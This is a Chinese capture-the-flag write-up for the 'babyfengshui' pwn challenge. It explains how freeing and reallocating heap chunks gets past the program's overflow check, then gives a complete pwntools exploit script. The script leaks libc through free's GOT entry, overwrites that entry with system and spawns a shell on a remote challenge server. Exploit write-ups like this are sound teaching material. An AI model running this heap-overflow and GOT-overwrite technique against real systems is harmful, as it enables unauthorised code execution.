攻防世界PWN之Babyfengshui题解

 

本题,首先,为了方便调试,我们需要解决alarm clock问题

攻防世界PWN之Babyfengshui题解程序运行几十秒后就会自动退出,所以,为了方便调试,我们需要先修改一下这个二进制

 

攻防世界PWN之Babyfengshui题解

我们用十六进制编辑器把这几个指令nop(0x90)掉即可

然后,我们就开始做题了

查看创建功能的函数

攻防世界PWN之Babyfengshui题解

这里创建了两个堆,第一个堆用来存储description,第二个堆用来存储第一个堆的指针以及name字符串

 

其数据结构大概是这样的

Node

char * description;

char buf[0x80-sizeof(char *)];

 

创建的时候,大概是这样的

  1. char * description = (char *)malloc(n);  
  2. memset(description,0,n);  
  3. Node * node = (Node *)malloc(0x80);  
  4. memset(node,0,0x80);  
  5. node->description = description;  

即我们每次创建时,都会malloc两个堆,按照常规思想的情况,我们会以为它们在物理位置上相邻。但是会有例外情况发生。

让我们看看,这个程序是如何检测堆是否会溢出的

攻防世界PWN之Babyfengshui题解

 

翻译过来,是这样的

  1. if (node->description + n >= node-4) {  
  2.    //溢出  
  3. }  

 

为什么这样判断?

这种判断只试用于descriptionnode两个堆相邻的情况,如果description和和node两个堆不相邻,并且descriptionnode的前面某地址处,那么就可以绕过这个检查,我们就能溢出堆了。

 

假如我们先create三次,并且我们设置的大小为0x80,此时,堆的布局如下

堆description0   0x80 bytes

堆 node0        0x80 bytes

堆description1   0x80 bytes

堆 node1       0x80 bytes

堆description1   0x80 bytes

堆 node1       0x80 bytes

TOP块

 

现在我们删除节点0,堆的布局如下

空闲堆          0x100 bytes

堆description1   0x80 bytes

堆 node1       0x80 bytes

堆description1   0x80 bytes

堆 node1       0x80 bytes

TOP块

 

现在我们再create一个0x100节点后,堆的布局如下

堆description2          0x100 bytes

堆description1   0x80 bytes

堆 node1       0x80 bytes

堆description1   0x80 bytes

堆 node1       0x80 bytes

堆 node2       0x80 bytes

TOP块

这样,堆溢出的那个if不再有效,我们可以在description2输入数据,直到溢出到堆node2的地方。那么,我们就可以修改中间的这些堆的信息。

原理是什么?请看glibc内存管理机制

释放的内存块存储在bins里面,当申请时,会先从bins里找空闲的空间,如果找不到,再从TOP块切割一块给用户。并且,释放时,如果两块区域物理相邻,会发生合并,因此两块0x80的空间合并成了0x100的空间,当我们申请0x100空间的堆时,正好就分配到这个地方。

现在,我们的目的是修改堆node1里的description指针,我们改成freegot表地址,那么当我们输出description的内容时,就会输出free的地址,因为我们让它指向的是freegot表地址。这样我们就能泄露free的加载地址。

然后获得libc加载地址,获得system的地址。

然后我们编辑node1的description内容,相当于编辑free的got表内容,我们把它改成system的地址。这样,当我们调用free的时候,就是调用system。我们事先把/bin/sh输入到堆2中。那么我们delete(2)的时候,就getshell了。

我们的exp脚本

  1. #coding:utf8  
  2. from pwn import *  
  3. from LibcSearcher import *  
  4.   
  5. #sh = process('./babyfengshui1')  
  6. sh = remote('111.198.29.45',50469)  
  7. elf = ELF('./babyfengshui1')  
  8. #libc = elf.libc  
  9.   
  10. def create(size,name,textLen,content):  
  11.    sh.sendlineafter('Action:','0')  
  12.    sh.sendlineafter('size of description:',str(size))  
  13.    sh.sendlineafter('name:',name)  
  14.    sh.sendlineafter('text length:',str(textLen))  
  15.    sh.sendafter('text:',content)  
  16.   
  17. def delete(index):  
  18.    sh.sendlineafter('Action:','1')  
  19.    sh.sendlineafter('index:',str(index))  
  20.   
  21.   
  22. def show(index):  
  23.    sh.sendlineafter('Action:','2')  
  24.    sh.sendlineafter('index:',str(index))  
  25.   
  26.   
  27. def edit(index,textLen,content):  
  28.    sh.sendlineafter('Action:','3')  
  29.    sh.sendlineafter('index:',str(index))  
  30.    sh.sendlineafter('text length:',str(textLen))  
  31.    sh.sendafter('text:',content)  
  32.   
  33. #经过分析,程序有这样一个结构  
  34. '''''结构体 
  35. typedef struct Node { 
  36.    void *description; 
  37.    char name[0x80-4]; 
  38. } Node; 
  39.  
  40. 当我们create(n) 
  41. 先是 
  42. char *description = (char *)malloc(n); 
  43. memset(description,0,n); 
  44. Node * node = (Node *)malloc(sizeof(Node)); 
  45. memset(node,0,0x80); 
  46. node->description = description; 
  47.  
  48. 当我们删除时 
  49. free Node里面的,再free Node 
  50. free(node->description); 
  51. free(node); 
  52. 程序是这样检测堆是否溢出的,假如我们输入n 
  53. if (node->description + n >= node-4) { 
  54.     //堆溢出 
  55. } 
  56. 为什么这么判断?这是因为按照正常情况,这两个堆先后分配,如果之前没有free过其他堆,这两个堆会相邻 
  57. 并且description堆先分配,在前面 
  58. node堆后分配,在description后面 
  59. 32位程序堆的结构如下 
  60. prev_size:4 bytes    size:4 bytes 
  61. data:xxxxxxxxxxxxxxx 
  62. 考虑到空间公用的情况(当申请空间的大小为4的奇数倍时,会将下一个堆的prev_size当成本堆的data区使用)prev_size会被前一个堆共用 
  63. 我们malloc返回的指针是指向data区的data - 4 就是前一个堆的结尾 
  64. 因此,看似这个检查很完美 
  65. 然后,考虑到内存分配机制,如果我们之前free掉两个的堆,然后申请大于其中一个堆大小的空间,那么首先 
  66. char *description = (char *)malloc(n);会返回第一个free掉的堆的地址 
  67. 然后,由于n大于大于第一个堆的空间,这样,在分配0x80大小的结构体堆时,相邻空间不够,即内存管理程序在对应的bin找不到合适的块 
  68. 于是,从top块分出一块区域给它 
  69. '''  
  70.   
  71. create(0x80,'chunk0',0x80,'a'*0x80)  
  72. create(0x80,'chunk1',0x80,'b'*0x80)  
  73. #存放/bin/sh字符串  
  74. create(0x10,'chunk2',0x8,'/bin/sh\x00')  
  75.   
  76. '''''现在的堆是这样分布的 
  77. description0 chunk size:0x80 
  78. node0 chunk size:0x80 
  79. description1 chunk size:0x80 
  80. node1 chunk size:0x80 
  81. description2 chunk size:0x8 
  82. node2 chunk size:0x80 
  83. '''  
  84.   
  85. delete(0)  
  86. '''''现在的堆是这样分布的 
  87.  
  88. 0x80*2大小的空闲块 
  89.  
  90. description1 chunk size:0x80 
  91. node1 chunk size:0x80 
  92. description2 chunk size:0x8 
  93. node2 chunk size:0x80 
  94. '''  
  95.   
  96.   
  97. create(0x100,'chunk3',0x19C,'c'*0x198 + p32(elf.got['free']))  
  98. '''''现在的堆是这样分布的 
  99. description2 chunk size:0x100 
  100. 0x80*2 - 0x100 大小的空闲块 
  101. description1 chunk size:0x80 
  102. node1 chunk size:0x80 
  103. description2 chunk size:0x8 
  104. node2 chunk size:0x80 
  105. node3 chunk size:0x80 
  106. node3-4node2的尾部,那么,我们绕过了溢出检测,即我们可以在description2 chunk里输入数据,一直可以到node2结尾 
  107. 那么,我们就把node1description指针值覆盖为freegot表地址,那么当我们printf description的内容时,输出的就是 
  108. free的加载地址 
  109. '''  
  110. show(1)  
  111.   
  112. sh.recvuntil('description: ')  
  113.   
  114. free_addr = u32(sh.recv(4))  
  115.   
  116. libc = LibcSearcher('free',free_addr)  
  117.   
  118. #获取libc加载地址  
  119. #libc_base = free_addr - libc.sym['free']  
  120. #system_addr = libc_base + libc.sym['system']  
  121.   
  122. libc_base = free_addr - libc.dump('free')  
  123. system_addr = libc_base + libc.dump('system')  
  124.   
  125. #修改freegot表地址为system的地址  
  126. edit(1,4,p32(system_addr))  
  127. #getshell,相当于system(heap[2])  
  128. delete(2)  
  129.   
  130. sh.interactive()  

 

然而,在libc2.26及以上,不能用,因为tcache机制,使用单项链表维护,并且遵循后进先出规则,并且块不会合并。因此本人还未找到libc2.26及以上的方案,如果大佬有解决方案,欢迎联系我。